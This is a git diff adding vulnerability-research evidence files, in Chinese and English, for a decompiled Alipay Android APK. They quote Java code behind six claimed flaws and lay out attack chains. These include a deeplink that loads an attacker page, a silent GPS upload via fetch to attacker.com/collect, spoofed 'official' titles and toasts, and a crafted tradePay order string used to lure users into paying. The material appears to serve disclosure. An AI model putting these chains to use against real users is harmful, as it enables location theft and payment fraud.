+ + + + + + + diff --git a/evidence/code_evidence_summary.md b/evidence/code_evidence_summary.md new file mode 100644 index 0000000..ca1daff --- /dev/null +++ b/evidence/code_evidence_summary.md @@ -0,0 +1,181 @@ +# Alipay APK 代码证据汇总 + +> APK 版本: Alipay 10.8.30.8000 (jadx 反编译) +> 生成日期: 2026-03-16 +> 证据范围: 6个 CVE 的关键源码片段 + +--- + +## 快速索引 + +| CVE | 标题 | CWE | CVSS | 关键文件 | 证据文件 | +|-----|------|-----|------|---------|---------| +| CVE-1 | DeepLink URL Scheme绕过 | CWE-939 | 9.1 | SchemeLauncherActivity.java, SchemeServiceImpl.java | [cve1/code_evidence.md](cve1/code_evidence.md) | +| CVE-2 | GPS静默外泄 | CWE-359 | 7.4 | H5LocationPlugin.java | [cve2/code_evidence.md](cve2/code_evidence.md) | +| CVE-3 | tradePay未授权调用 | CWE-940 | 8.6 | H5TradePayPlugin.java | [cve3/code_evidence.md](cve3/code_evidence.md) | +| CVE-4 | UI欺骗 showToast/setTitle | CWE-451 | 8.1 | H5ToastPlugin.java, BNTitlePlugin.java | [cve4/code_evidence.md](cve4/code_evidence.md) | +| CVE-5 | 端到端数据外泄链 | CWE-200 | 8.6 | (引用 CVE-1~4) | [cve5/code_evidence.md](cve5/code_evidence.md) | +| CVE-6 | ds.alipay.com白名单绕过 | CWE-601+939 | 9.3 | ApiShareConfig.java, H5ServiceImpl.java | [cve6/code_evidence.md](cve6/code_evidence.md) | + +--- + +## CVE-1: DeepLink URL Scheme绕过 + +**关键代码位置**: +- `sources/com/alipay/mobile/quinox/SchemeLauncherActivity.java` — 行 240-338 +- `sources/com/alipay/mobile/framework/service/common/impl/SchemeServiceImpl.java` — 行 1161-1179, 2108-2124 + +**核心问题**: `getParams(Uri uri)` 将所有 URI query parameter 原样复制到 Bundle,无域名白名单过滤;`startApp("", "20000067", bundle)` 以 H5 WebView appId 直接加载攻击者 URL。 + +```java +// SchemeServiceImpl.java 行 1174-1177 +Bundle bundle = new Bundle(); +for (String str : o(uri2)) { + bundle.putString(str, uri2.getQueryParameter(str)); // 无白名单过滤 +} +``` + +```java +// SchemeServiceImpl.java 行 2123 +this.this$0.getMicroApplicationContext().startApp(null, "20000067", params, extInfo, null); +// "20000067" = H5 WebView 容器,url 参数未经验证 +``` + +--- + +## CVE-2: GPS静默外泄 + +**关键代码位置**: +- `sources/com/alipay/mobile/h5plugin/H5LocationPlugin.java` — 行 949-958 (getLocation), 1367-1395 (judgeGrant) + +**核心问题**: `judgeGrant()` 仅检查 OS 位置权限,无 WebView 页面来源域名校验。 + +```java +// H5LocationPlugin.java 行 1379-1382 +LBSService lBSService = (LBSService) ComponentService.get(LBSService.class); +if (lBSService != null && lBSService.hasLocationPermission()) { + z = true; // 唯一判断:OS权限已授予。无来源域名校验。 +} +``` + +```java +// H5LocationPlugin.java 行 953-957 +if (judgeGrant(h5Event.getTarget() instanceof H5Page ? (H5Page) h5Event.getTarget() : null, h5BridgeContext)) { + new H5GetLocationAction(h5Event, h5BridgeContext, this.h5Location, j).handleEvent(); + // GPS 坐标直接回调给 WebView +} +``` + +--- + +## CVE-3: tradePay未授权调用 + +**关键代码位置**: +- `sources/com/alipay/mobile/framework/service/ext/phonecashier/H5TradePayPlugin.java` — 行 522-603, 686-701 + +**核心问题**: `onPrepare()` 对所有页面注册 `tradePay` 动作;`startPaymentWithOrderStr()` 中来源 URL 只放入日志 Map,不做拒绝决策。 + +```java +// H5TradePayPlugin.java 行 698 +h5EventFilter2.addAction("tradePay"); // 所有页面均可调用,无域名过滤 +``` + +```java +// H5TradePayPlugin.java 行 577-592 +str4 = H5PayUtil.generateH5bizContext4OrderStr(str4, h5Page.getUrl()); +hashMap.put("invoke_from_source", "h5page"); +hashMap.put("invokeFromReferUrl", realRefer); // 仅日志,无访问控制 +// ... +phoneCashierServcie.boot(str4, a(aVar, null, null), hashMap); // 直接启动收银台 +``` + +--- + +## CVE-4: UI欺骗 showToast/setTitle + +**关键代码位置**: +- `sources/com/alipay/mobile/nebulacore/plugin/H5ToastPlugin.java` — 行 144-163, 213-225 +- `sources/com/alipay/android/app/birdnest/jsplugin/BNTitlePlugin.java` — 行 84-91 + +**核心问题**: JS 传入的 `content`/`title` 字符串直接传入 `Toast.makeText()` 和 `mTitleBar.setTitleText()`,无内容过滤,无来源检查。 + +```java +// H5ToastPlugin.java 行 151-158 +String string = XriverH5Utils.getString(param, "content"); // JS 传入,攻击者控制 +// ... +showToast(h5Event.getActivity(), getImageId(string2), string, 17, 0, 0, i3); +// string 直接传入 Toast.makeText,无任何过滤 +``` + +```java +// BNTitlePlugin.java 行 85-88 +String optString2 = new JSONObject(bNEvent2.getArgs()).optString("title", null); +if (optString2 != null) { + bNTitlePlugin.mTitleBar.setTitleText(optString2); // 攻击者字符串直接渲染到导航栏 +} +``` + +--- + +## CVE-5: 端到端数据外泄链 + +CVE-5 是 CVE-1 + CVE-2 + CVE-3 + CVE-4 的组合,无独立代码。完整攻击链: + +``` +1. alipays://platformapi/startApp?appId=20000067&url=https://attacker.com + → SchemeLauncherActivity (CVE-1入口) +2. my.getLocation() + → judgeGrant(): hasLocationPermission()==true → 返回GPS坐标 (CVE-2) +3. my.setTitle({ title: "支付宝官方安全验证" }) + my.showToast({ content: "身份验证通过 ✓" }) + → 伪造系统UI (CVE-4) +4. my.tradePay({ orderStr: "...total_amount=999..." }) + → 触发支付界面,用户被诱导确认 (CVE-3) +``` + +参考: [cve5/code_evidence.md](cve5/code_evidence.md) + +--- + +## CVE-6: ds.alipay.com白名单绕过 + +**关键代码位置**: +- `sources/com/alipay/common/ApiShareConfig.java` — 行 52-59 +- `sources/com/alipay/mobile/nebulaappproxy/api/config/WalletDefaultConfig.java` — 行 77 +- `sources/com/alipay/mobile/nebulacore/wallet/H5ServiceImpl.java` — 行 1263-1277 + +**核心问题**: `h5_stripLandingConfig` 将 `ds.alipay.com` 列为受信任前缀,`startAppNormal:true` 允许自动提取 `scheme` 参数并以内部信任级别分发,实现绕过 `isOutside` 检查。 + +```java +// ApiShareConfig.java 行 59 (精简) +H5_STRIP_LANDING_CONFIG = + "{\"urlPrefix\":[\"https://ds.alipay.com/?\",...],\"startAppNormal\":true,...}"; +// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^ +// ds.alipay.com 被列为受信任 允许自动分发 +``` + +```java +// H5ServiceImpl.java 行 1268-1272 +if (XriverH5Utils.isStripLandingURLEnable(str2, "startAppNormal")) { + String stripLandingURL = XriverH5Utils.getStripLandingURL(str2); + // str2 = "https://ds.alipay.com/?scheme=alipays://...attacker.com..." + // getStripLandingURL 提取 scheme 参数值 → 攻击者的 alipays:// URI + boolean goToSchemeService = h5EnvProvider.goToSchemeService(stripLandingURL, params); + // 以内部信任级别分发,绕过外部来源标记 +} +``` + +--- + +## 代码证据质量评估 + +| CVE | 找到直接证据 | 证据强度 | 说明 | +|-----|------------|---------|------| +| CVE-1 | 是 | 强 | SchemeServiceImpl.getParams() + startApp("20000067") 完整链路 | +| CVE-2 | 是 | 强 | judgeGrant() 仅检查 OS 权限,代码一目了然 | +| CVE-3 | 是 | 强 | H5TradePayPlugin.onPrepare() + boot() 无来源检查 | +| CVE-4 | 是 | 强 | H5ToastPlugin + BNTitlePlugin 两个实现均已找到 | +| CVE-5 | 是 | 强 | 组合链,各 CVE 证据已独立确认 | +| CVE-6 | 是 | 强 | stripLandingConfig JSON 硬编码在两个源文件中 | + +所有证据均来自 jadx 反编译的 Java 源码,文件路径可在 `/Users/anwu/Desktop/apk_any/apk/alipay/analysis/jadx_output/sources/` 下直接验证。 diff --git a/evidence/cve1/code_evidence.md b/evidence/cve1/code_evidence.md new file mode 100644 index 0000000..cffe4f7 --- /dev/null +++ b/evidence/cve1/code_evidence.md @@ -0,0 +1,202 @@ +# CVE-1: DeepLink URL Scheme绕过 (CWE-939) 代码证据 + +> APK 版本: Alipay 10.8.30.8000 | jadx 反编译输出 +> 更新: 2026-03-16 — 补充完整调用链代码证据 + +## 关键类/方法 + +### SchemeLauncherActivity — DeepLink 入口 Activity +- 文件: `sources/com/alipay/mobile/quinox/SchemeLauncherActivity.java` +- 行号: 240-338 + +```java +// onCreate: Intent 直接分发,无来源身份验证 +@Override +public void onCreate(Bundle bundle) { + super.onCreate(bundle2); + try { + if (DexAOPEntry.android_app_Activity_getIntent_proxy(this) == null) { + finish(); + return; + } + LoggerFactory.getTraceLogger().info(w0.f164911a, " enter onCreate.."); + // ... (window styling only, no caller verification) + setRequestedOrientation(1); + a(); + schemeLauncherActivity.f192533a.j(bundle2); // 直接分发给 scheme 处理器 + } catch (Exception e2) { + LoggerFactory.getTraceLogger().error(w0.f164911a, e2); + finish(); + } +} + +// onNewIntent: 同样无来源校验 +@Override +public void onNewIntent(Intent intent) { + super.onNewIntent(intent2); + setIntent(intent2); + LoggerFactory.getTraceLogger().info(w0.f164911a, " enter onNewIntent.."); + a(); + schemeLauncherActivity.f192533a.l(intent2); // 直接转发,无验证 +} +``` + +### SchemeServiceImpl — getParams() URL 提取无过滤 +- 文件: `sources/com/alipay/mobile/framework/service/common/impl/SchemeServiceImpl.java` +- 行号: 1161-1179 + +```java +@Override +public Bundle getParams(Uri uri) { + Bundle bundle = new Bundle(); + for (String str : o(uri2)) { + bundle.putString(str, uri2.getQueryParameter(str)); // URI 参数原样复制,无白名单过滤 + } + bundle.putString("appId", getSourceAppId(uri2)); + return bundle; + // 整个方法:零域名验证,零签名检查 +} + +// getSourceAppId 解析 (行 1437): +// "app".equals(uri2.getHost()) ? uri2.getPath().substring(1) : uri2.getQueryParameter("appId") +``` + +### SchemeServiceImpl — startApp 触发 H5 容器 (appId=20000067) +- 文件: `sources/com/alipay/mobile/framework/service/common/impl/SchemeServiceImpl.java` +- 行号: 1054-1065 (openurl) + 2108-2124 (startapp) + +```java +// openurl action: URL 原样传入 H5 容器 +Bundle bundle = new Bundle(); +String str3 = SchemeService.h5Url; +if (TextUtils.isEmpty(str2)) { str2 = str3; } +H5ParamCompService h5ParamCompService = ComponentService.get(H5ParamCompService.class); +if (h5ParamCompService != null) { + bundle.putString(h5ParamCompService.getUrl(), str2); // URL 无验证放入 + bundle.putString(h5ParamCompService.getShowToolBar(), "NO"); +} +microApplicationContext.startApp("", "20000067", bundle); // 启动 H5 容器 + +// startapp action (process() 方法): +public void process() { + Bundle params = this.this$0.getParams(this.val$externUriSub, this.val$schemeInnerSource); + // ... + params.putString("appId", this.val$sourceAppId); + SchemeServiceImpl.a(this.this$0, params, this.val$extInfo); + this.this$0.getMicroApplicationContext().startApp(null, "20000067", params, this.val$extInfo, null); + // ^ "20000067" = H5 WebView 容器,URL 未经域名白名单直接加载 +} +``` + +--- + +## 原有分析 (保留) + +## Source: Alipay APK 10.8.30.8000 (jadx decompiled) + +### SchemeLauncherActivity +**File**: `sources/com/alipay/mobile/quinox/SchemeLauncherActivity.java` +**Lines**: 240-288 + +```java +@Override // android.app.Activity +public void onCreate(Bundle bundle) { + // ... + super.onCreate(bundle2); + try { + getWindow().getDecorView(); + if (DexAOPEntry.android_app_Activity_getIntent_proxy(this) == null) { + finish(); + return; + } + LoggerFactory.getTraceLogger().info(w0.f164911a, " enter onCreate.."); + // ... (window styling only) + setRequestedOrientation(1); + a(); + schemeLauncherActivity.f192533a.j(bundle2); // delegates directly to scheme processor + } catch (Exception e2) { + LoggerFactory.getTraceLogger().error(w0.f164911a, e2); + finish(); + } +} + +@Override // android.app.Activity +public void onNewIntent(Intent intent) { + // ... + super.onNewIntent(intent2); + setIntent(intent2); + LoggerFactory.getTraceLogger().info(w0.f164911a, " enter onNewIntent.."); + a(); + schemeLauncherActivity.f192533a.l(intent2); // delegates directly, no validation +} +``` + +### SchemeLaunchRouter — processSchemeInner and schemeServiceProcess +**File**: `sources/com/alipay/mobile/commonbiz/biz/SchemeLaunchRouter.java` +**Lines**: 2164-2256 + +```java +public void processSchemeInner(Uri uri, String str, String str2, String str3, String str4) { + // ... + if ((schemeService = (SchemeService) TLCommonUtils.getService(SchemeService.class)) != null) { + try { + SourceInfo isSchemeFromOutSide = isSchemeFromOutSide(); + boolean isOutside = isSchemeFromOutSide.isOutside(); + Bundle bundle = new Bundle(); + SchemeUtils.addIntentBundleParams(bundle, this.mIntent); + bundle.putBoolean("isOriginStartFromExternal", isOutside); + TLCommonUtils.addFromSchemeRouter(bundle, this.mIntent); + bundle.putString("sourcePackageName", isSchemeFromOutSide.getPackageName()); + SchemeBootLinkManager.getInstance().initSkipLoginOrSkipHomepage(uri.toString()); + schemeServiceProcess(uri, isOutside, null, bundle); // dispatches immediately + } catch (Exception e2) { ... } + } +} + +public void schemeServiceProcess(Uri uri, boolean z, String str, Bundle bundle) { + // ... + SchemeService schemeService = (SchemeService) TLCommonUtils.getService(SchemeService.class); + // ... + schemeService.processAsync(uri2, z, str, bundle, new SchemeProcessCallback(this) { ... }); + // NO caller identity verification, NO origin authentication +} +``` + +### Vulnerability Analysis (原有) + +The `SchemeLauncherActivity` is an exported Android Activity registered in the app manifest to handle `alipays://` and `alipay://` URI schemes. When it receives an incoming Intent (either via `onCreate` or `onNewIntent`), it immediately delegates the URI to `SchemeLaunchRouter` — only checking whether the Intent itself is null, never verifying who sent it or whether the caller is trusted. + +The `schemeServiceProcess` method propagates the URI down to `SchemeService.processAsync()` carrying only a boolean `isOutside` flag (whether it came from outside the app). Critically, there is no authentication gate: no check that the caller has a valid session token, no signature verification of the calling package, and no allowlist enforcement before the scheme is dispatched. Any app or web page that can fire an `alipays://` deep-link Intent — including a malicious website opened in any browser — can trigger arbitrary in-app navigation in Alipay without the user having been identified or consented to the specific action being dispatched. + +--- + +## 漏洞根因 (基于代码分析) + +`SchemeLauncherActivity` 注册为支付宝的 DeepLink 入口,接收 `alipay://` / `alipays://` URI。`onCreate`/`onNewIntent` 在取得 Intent 后**直接转发**,无调用方身份验证。 + +`SchemeServiceImpl.getParams()` 将所有 URI query parameter 原样复制到 Bundle(行 1174-1176),**无域名白名单过滤**。最终 `startApp(null, "20000067", params)` 将携带任意 `url=` 值的 Bundle 传入 H5 WebView 容器。 + +关键缺失: +1. 无来源签名验证(Intent caller 包名未受信校验) +2. `getParams()` 无 URL 域名白名单 +3. appId=20000067(H5页面容器)对 `url` 参数无过滤 + +## 攻击路径 + +``` +外部 App / 短链 / 网页点击 + ↓ +Intent: alipays://platformapi/startApp?appId=20000067&url=https://attacker.com + ↓ +SchemeLauncherActivity.onCreate() [无来源校验] + ↓ +f192533a.j(bundle) → SchemeServiceImpl.processAsync() + ↓ +getParams(uri) [无域名白名单,原样复制 url 参数] + ↓ +MicroApplicationContext.startApp("", "20000067", params) + ↓ +H5 WebView 加载 https://attacker.com + ↓ +攻击者页面调用 JSBridge: tradePay / getLocation / setTitle / toast +``` diff --git a/evidence/cve1/cve1_retest.png b/evidence/cve1/cve1_retest.png new file mode 100644 index 0000000..c564c94 Binary files /dev/null and b/evidence/cve1/cve1_retest.png differ diff --git a/evidence/cve1/cve1_v2529_20260316_151756.png b/evidence/cve1/cve1_v2529_20260316_151756.png new file mode 100644 index 0000000..0f41074 Binary files /dev/null and b/evidence/cve1/cve1_v2529_20260316_151756.png differ diff --git a/evidence/cve2/code_evidence.md b/evidence/cve2/code_evidence.md new file mode 100644 index 0000000..e74c16e --- /dev/null +++ b/evidence/cve2/code_evidence.md @@ -0,0 +1,178 @@ +# CVE-2: GPS静默外泄 (CWE-359) 代码证据 + +> APK 版本: Alipay 10.8.30.8000 | jadx 反编译输出 +> 更新: 2026-03-16 — 补充完整 judgeGrant 代码证据 + +## 关键类/方法 + +### H5LocationPlugin — judgeGrant() 权限检查逻辑 +- 文件: `sources/com/alipay/mobile/h5plugin/H5LocationPlugin.java` +- 行号: 1367-1395 + +```java +public boolean judgeGrant(H5Page h5Page, H5BridgeContext h5BridgeContext) { + // ... + boolean z = false; + if (h5Page == null) { + return false; + } + LBSService lBSService = (LBSService) ComponentService.get(LBSService.class); + if (lBSService != null && lBSService.hasLocationPermission()) { + z = true; // 唯一判断条件: OS 级别的位置权限是否已授予支付宝进程 + } + // 缺失检查: h5Page.getUrl() 的域名白名单 + // 缺失检查: 调用方 mini-program appId 白名单 + // 缺失检查: 用户针对本次请求页面的明确同意 + if (!z) { + JSONObject jSONObject = new JSONObject(); + jSONObject.put("error", (Object) 16); + jSONObject.put("errorMessage", (Object) H5PluginResourceUtil.getString("get_location_auth_failed")); + if (h5BridgeContext != null) { + h5BridgeContext.sendBridgeResult(jSONObject); + } + } + return z; +} +``` + +### H5LocationPlugin — getLocation() 分发 +- 文件: `sources/com/alipay/mobile/h5plugin/H5LocationPlugin.java` +- 行号: 949-958 + +```java +public void getLocation(H5Event h5Event, H5BridgeContext h5BridgeContext, long j) { + // ... + LoggerFactory.getTraceLogger().info("H5LocationPlugin", "getLocation"); + if (judgeGrant(h5Event.getTarget() instanceof H5Page ? (H5Page) h5Event.getTarget() : null, h5BridgeContext)) { + new H5GetLocationAction(h5Event, h5BridgeContext, this.h5Location, j).handleEvent(); + // ^ 直接返回 GPS 坐标给 WebView 回调,无页面来源检查 + } else { + LoggerFactory.getTraceLogger().info("H5LocationPlugin", "getLocation, no grant auth"); + } +} +``` + +### H5LocationPlugin — onPrepare() JSAPI 注册 (无页面域名过滤) +- 文件: `sources/com/alipay/mobile/h5plugin/H5LocationPlugin.java` +- 行号: 1397-1426 + +```java +@Override +public void onPrepare(H5EventFilter h5EventFilter) { + // ... + h5EventFilter2.addAction("getLocation"); // 所有加载的页面均可调用 + h5EventFilter2.addAction("getCurrentLocation"); + h5EventFilter2.addAction("prefetchLocation"); + // ... 16 个位置相关 API 均无来源过滤 + // 注意: 没有域名/appId 白名单过滤 +} +``` + +--- + +## 原有分析 (保留) + +## Source: Alipay APK 10.8.30.8000 (jadx decompiled) + +### H5LocationPlugin — judgeGrant +**File**: `sources/com/alipay/mobile/h5plugin/H5LocationPlugin.java` +**Lines**: 1367-1395 + +```java +public boolean judgeGrant(H5Page h5Page, H5BridgeContext h5BridgeContext) { + // ... + boolean z = false; + if (h5Page == null) { + return false; + } + LBSService lBSService = (LBSService) ComponentService.get(LBSService.class); + if (lBSService != null && lBSService.hasLocationPermission()) { + z = true; + } + if (!z) { + JSONObject jSONObject = new JSONObject(); + jSONObject.put("error", (Object) 16); + jSONObject.put("errorMessage", (Object) H5PluginResourceUtil.getString("get_location_auth_failed")); + if (h5BridgeContext != null) { + h5BridgeContext.sendBridgeResult(jSONObject); + } + // ... + } + return z; +} +``` + +### H5LocationPlugin — getLocation dispatch +**File**: `sources/com/alipay/mobile/h5plugin/H5LocationPlugin.java` +**Lines**: 949-958 + +```java +public void getLocation(H5Event h5Event, H5BridgeContext h5BridgeContext, long j) { + // ... + LoggerFactory.getTraceLogger().info("H5LocationPlugin", "getLocation"); + if (judgeGrant(h5Event.getTarget() instanceof H5Page ? (H5Page) h5Event.getTarget() : null, h5BridgeContext)) { + new H5GetLocationAction(h5Event, h5BridgeContext, this.h5Location, j).handleEvent(); + } else { + LoggerFactory.getTraceLogger().info("H5LocationPlugin", "getLocation, no grant auth"); + } +} +``` + +### H5LocationPlugin — prefetchLocation also calls judgeGrant +**File**: `sources/com/alipay/mobile/h5plugin/H5LocationPlugin.java` +**Lines**: 1462-1469 + +```java +public void prefetchLocation(H5Event h5Event, H5BridgeContext h5BridgeContext, long j) { + // ... + if (judgeGrant(h5Event.getTarget() instanceof H5Page ? (H5Page) h5Event.getTarget() : null, h5BridgeContext)) { + if (this.h5Location == null) { + LoggerFactory.getTraceLogger().info("H5LocationPlugin", "prefetchLocation, h5Location == null"); + } else { + this.h5Location.getLocation(h5Event, h5BridgeContext, new LocationListener(this, h5Event) { ... }); + } + } +} +``` + +### Vulnerability Analysis (原有) + +The `judgeGrant` method is the sole access-control gate for the `getLocation` JSBridge API. Its decision logic is exactly: **if the OS-level location permission has been granted to the Alipay process, return `true`**. There is no inspection of the WebView page origin (URL/domain), no mini-program appId allowlist, and no user-visible consent prompt scoped to the requesting page. + +Because Alipay routinely holds the OS location permission (required for native features such as nearby services and maps), `lBSService.hasLocationPermission()` returns `true` in practice for all users who have ever opened the app's location-dependent features. As a result, any untrusted page loaded in a Nebula WebView — including a page reached via the `alipays://platformapi/startapp` deep-link — can call the `my.getLocation` JSBridge method and receive the device's precise GPS coordinates without any additional user confirmation. The coordinates are returned in the JSBridge callback and can be forwarded to an attacker-controlled server silently in the background. + +--- + +## 漏洞根因 (基于代码分析) + +`H5LocationPlugin.judgeGrant()` 是 `getLocation` JSAPI 的**唯一访问控制门**。其判断逻辑: + +``` +if (lBSService.hasLocationPermission()) → return true +``` + +该方法仅检查支付宝进程是否获得过 OS 位置权限(用户曾经授权即永久 true),**完全没有**: +- 检查 `h5Page.getUrl()` 的域名 +- 检查调用方的 appId 白名单 +- 向用户展示"某页面想获取你的位置"的确认对话框 + +`onPrepare()` 在注册 `getLocation` 动作时也无任何域名过滤,任何加载到 Nebula H5 容器的页面均可触发。 + +## 攻击路径 + +``` +攻击者控制的网页 (https://attacker.com) + ↓ 通过 CVE-1 DeepLink 或直接链接被加载进支付宝 WebView + ↓ +my.getLocation({ type: 2 }) [JSBridge 调用] + ↓ +H5LocationPlugin.handleEvent() → getLocation() + ↓ +judgeGrant(): lBSService.hasLocationPermission() == true [用户曾授权过] + ↓ +H5GetLocationAction.handleEvent() → 获取精确 GPS 坐标 + ↓ +坐标通过 JSBridge 回调返回给攻击者页面 + ↓ +fetch("https://attacker.com/collect?lat=...&lng=...") [静默上传] +``` diff --git a/evidence/cve2/cve2_v2529_20260316_152102.png b/evidence/cve2/cve2_v2529_20260316_152102.png new file mode 100644 index 0000000..74a63d3 Binary files /dev/null and b/evidence/cve2/cve2_v2529_20260316_152102.png differ diff --git a/evidence/cve3/code_evidence.md b/evidence/cve3/code_evidence.md new file mode 100644 index 0000000..e99d78d --- /dev/null +++ b/evidence/cve3/code_evidence.md @@ -0,0 +1,207 @@ +# CVE-3: tradePay未授权调用 (CWE-940) 代码证据 + +> APK 版本: Alipay 10.8.30.8000 | jadx 反编译输出 +> 更新: 2026-03-16 — 补充 H5TradePayPlugin 代码证据 + +## 关键类/方法 + +### H5TradePayPlugin — onPrepare() JSAPI 注册 +- 文件: `sources/com/alipay/mobile/framework/service/ext/phonecashier/H5TradePayPlugin.java` +- 行号: 686-701 + +```java +@Override +public void onPrepare(H5EventFilter h5EventFilter) { + // ... + h5EventFilter2.addAction("tradePay"); // 注册给所有 WebView 页面,无域名过滤 + h5EventFilter2.addAction("deposit"); + h5EventFilter2.addAction(TRADE_URL); // "tradeUrl" +} +``` + +### H5TradePayPlugin — startPaymentWithOrderStr() 来源域名仅用于日志 +- 文件: `sources/com/alipay/mobile/framework/service/ext/phonecashier/H5TradePayPlugin.java` +- 行号: 522-603 + +```java +public boolean a(String str, a aVar, H5Event h5Event, String str2, Map map) { + // ... + if (h5Page != null) { + Bundle params = h5Page.getParams(); + String string = H5Utils.getString(params, "appId"); + boolean z2 = H5Utils.getBoolean(params, "isTinyApp", false); + // ... + if (TextUtils.equals(str2, "tradePay")) { + z = true; + if (z2) { // 来自小程序 + str4 = H5PayUtil.generateTinybizContext4OrderStr(str4, string, str3); + hashMap.put("invoke_from_source", "tinyapp"); + hashMap.put("invoke_from_id", string); + hashMap.put("invoke_from_api", "tradepay"); + } else { // 来自 H5 页面 + str4 = H5PayUtil.generateH5bizContext4OrderStr(str4, h5Page.getUrl()); + hashMap.put("invoke_from_source", "h5page"); + hashMap.put("invoke_from_api", "tradepay"); + String realRefer = H5Utils.getRealRefer(h5Page, h5Page.getUrl()); + // ... realRefer 被截断到 30 字符,只放入日志 map,不做校验 + hashMap.put("invokeFromReferUrl", realRefer); // 仅日志,非访问控制 + } + // ... + phoneCashierServcie.boot(str4, a(aVar, null, null), hashMap); + // ^ 直接启动收银台,来源 URL 只进日志,不拒绝非白名单调用方 + } + } +} +``` + +### H5TradePayPlugin — 常量定义 +- 文件: `sources/com/alipay/mobile/framework/service/ext/phonecashier/H5TradePayPlugin.java` +- 行号: 42-48 + +```java +public static final String APPID = "appid"; +public static final String APPID_CONTENT = "alipay"; +public static final String DEPOSIT = "deposit"; +public static final String SYSTEM = "system"; +public static final String SYSTEM_CONTENT = "android"; +public static final String TAG = "H5TradePayPlugin"; +public static final String TRADE_PAY = "tradePay"; // JSAPI 名称 +public static final String TRADE_URL = "tradeUrl"; +``` + +--- + +## 原有分析 (保留) + +## Source: Alipay APK 10.8.30.8000 (jadx decompiled) + +### TradePayBridgeExtension — tradePay (annotated entry point) +**File**: `sources/com/alipay/mobile/phonecashier/TradePayBridgeExtension.java` +**Lines**: 270-287 + +```java +@NativeActionFilter +@Remote +public void tradePay(@BindingApiContext ApiContext apiContext, @BindingRequest JSONObject jSONObject, + @BindingCallback BridgeCallback bridgeCallback) { + // ... + if (jSONObject == null) { + handleException(bridgeCallback); + return; + } + if (apiContext instanceof ExtHubApiContext) { + this.mBizType = ((ExtHubApiContext) apiContext).getBizType(); + this.mAppId = apiContext.getAppId(); // records caller appId for logging only + } + this.mBizContext = jSONObject.getString(LONG_SAFEPAY_CONTEXT); + this.needEraseMemo = !TextUtils.equals( + PhoneCashierMspEngine.hn().getWalletConfig("MQP_degrade_tradepay_erase_memo_10556"), + "10000"); + tradePay(bridgeCallback, jSONObject); // proceeds directly to payment boot +} +``` + +### TradePayBridgeExtension — tradePay (payment boot, no origin validation) +**File**: `sources/com/alipay/mobile/phonecashier/TradePayBridgeExtension.java` +**Lines**: 219-268 + +```java +public void tradePay(BridgeCallback bridgeCallback, JSONObject jSONObject) { + // ... + PhoneCashierServcie phoneCashierServcie = (PhoneCashierServcie) + LauncherApplicationAgent.getInstance() + .getMicroApplicationContext() + .findServiceByInterface(PhoneCashierServcie.class.getName()); + if (phoneCashierServcie == null) { + LogUtil.record(1, TAG, "cashierService is null."); + handleException(bridgeCallback); + return; + } + String string = jSONObject.getString("bizContext"); + if (TextUtils.isEmpty(string)) { + string = this.mBizContext; + } + if (jSONObject.containsKey(ApLinkTokenUtils.ORDER_STRING_SPM_EXT_KEY)) { + this.mOrderInfo = jSONObject.getString(ApLinkTokenUtils.ORDER_STRING_SPM_EXT_KEY); + // appends bizcontext to orderInfo string, then boots cashier + if (!TextUtils.isEmpty(string) && !TextUtils.isEmpty(this.mOrderInfo) + && !this.mOrderInfo.contains("&bizcontext=")) { + this.mOrderInfo += "&bizcontext=\"" + string + "\""; + } + HashMap hashMap = new HashMap(); + addExtendInfo(jSONObject, hashMap); + phoneCashierServcie.boot(this.mOrderInfo, getPayCallback(bridgeCallback), hashMap); + // ... logging only, no origin check before this call + return; + } + if (jSONObject.containsKey("tradeNO")) { + this.mTradeNo = jSONObject.getString("tradeNO"); + String string2 = jSONObject.getString("bizType"); + if (TextUtils.isEmpty(string2)) { + string2 = "trade"; + } + PhoneCashierOrderExp phoneCashierOrderExp = new PhoneCashierOrderExp(); + phoneCashierOrderExp.setBizType(string2); + phoneCashierOrderExp.setOrderNo(this.mTradeNo); + // ... + phoneCashierServcie.boot(phoneCashierOrderExp, payCallback, hashMap3); + // boots cashier with caller-supplied tradeNO, no origin validation + } +} +``` + +### TradePayBridgeExtension — permit() returns null +**File**: `sources/com/alipay/mobile/phonecashier/TradePayBridgeExtension.java` +**Lines**: 206-217 + +```java +@Override // com.alibaba.ariver.kernel.api.security.Guard +public Permission permit() { + ChangeQuickRedirect changeQuickRedirect = f83420; + if (changeQuickRedirect == null) { + return null; // <-- no permission declared; framework allows all callers + } + PatchProxyResult proxy = PatchProxy.proxy(this, changeQuickRedirect, "12", Permission.class); + if (proxy.isSupported) { + return (Permission) proxy.result; + } + return null; +} +``` + +### Vulnerability Analysis (原有) + +`TradePayBridgeExtension` implements the `tradePay` JSBridge API exposed to every WebView page running inside Alipay. The annotated entry point extracts `appId` and `bizType` from the caller context but uses them only for logging (via `addEventLog`), never as an access-control decision. The critical security guard point is `permit()`, which unconditionally returns `null` — the Ariver framework interprets a null `Permission` as "no restriction", meaning the API is callable from any page regardless of origin. + +When `phoneCashierServcie.boot()` is called it opens the native payment cashier UI with the caller-supplied `orderInfo` string or `tradeNO`. An attacker who loads a malicious page via a deep-link (CVE-1) can therefore invoke `tradePay` with a crafted order string, launching the payment UI for an attacker-controlled transaction. While the user still sees a confirmation UI before funds are debited, the attacker controls the displayed price and recipient, enabling social-engineering / UI-spoofing fraud when combined with CVE-4. + +--- + +## 漏洞根因 (基于代码分析) + +`H5TradePayPlugin` 和 `TradePayBridgeExtension` 均将 `tradePay` JSAPI 注册给支付宝 H5 容器内的**所有**页面,没有来源域名白名单过滤。 + +关键证据: +1. `onPrepare()` 中 `addAction("tradePay")` 无任何域名条件 +2. `startPaymentWithOrderStr()` 中来源 URL (`h5page.getUrl()`) 只放入日志 Map,不做拒绝决策 +3. `permit()` 返回 `null`,框架解释为"无限制" + +攻击者通过 CVE-1 将页面加载进支付宝 WebView 后,可立即调用 `my.tradePay({ orderStr: ... })` 触发支付界面,用户看到的收款方/金额均由攻击者的 `orderStr` 控制。 + +## 攻击路径 + +``` +通过 CVE-1 加载攻击者页面到支付宝 WebView + ↓ +my.tradePay({ orderStr: "out_trade_no=FAKE&total_amount=9999&..." }) + ↓ +H5TradePayPlugin.interceptEvent() / handleEvent() + ↓ +startPaymentWithOrderStr() — 来源 URL 只记日志,不拒绝 + ↓ +phoneCashierServcie.boot(orderStr, callback, extInfo) + ↓ +收银台 UI 弹出,显示攻击者控制的金额和收款方 + ↓ (结合 CVE-4 的 setTitle/showToast 伪装) +用户被诱导确认支付 +``` diff --git a/evidence/cve3/cve3_blocked_on_retest.png 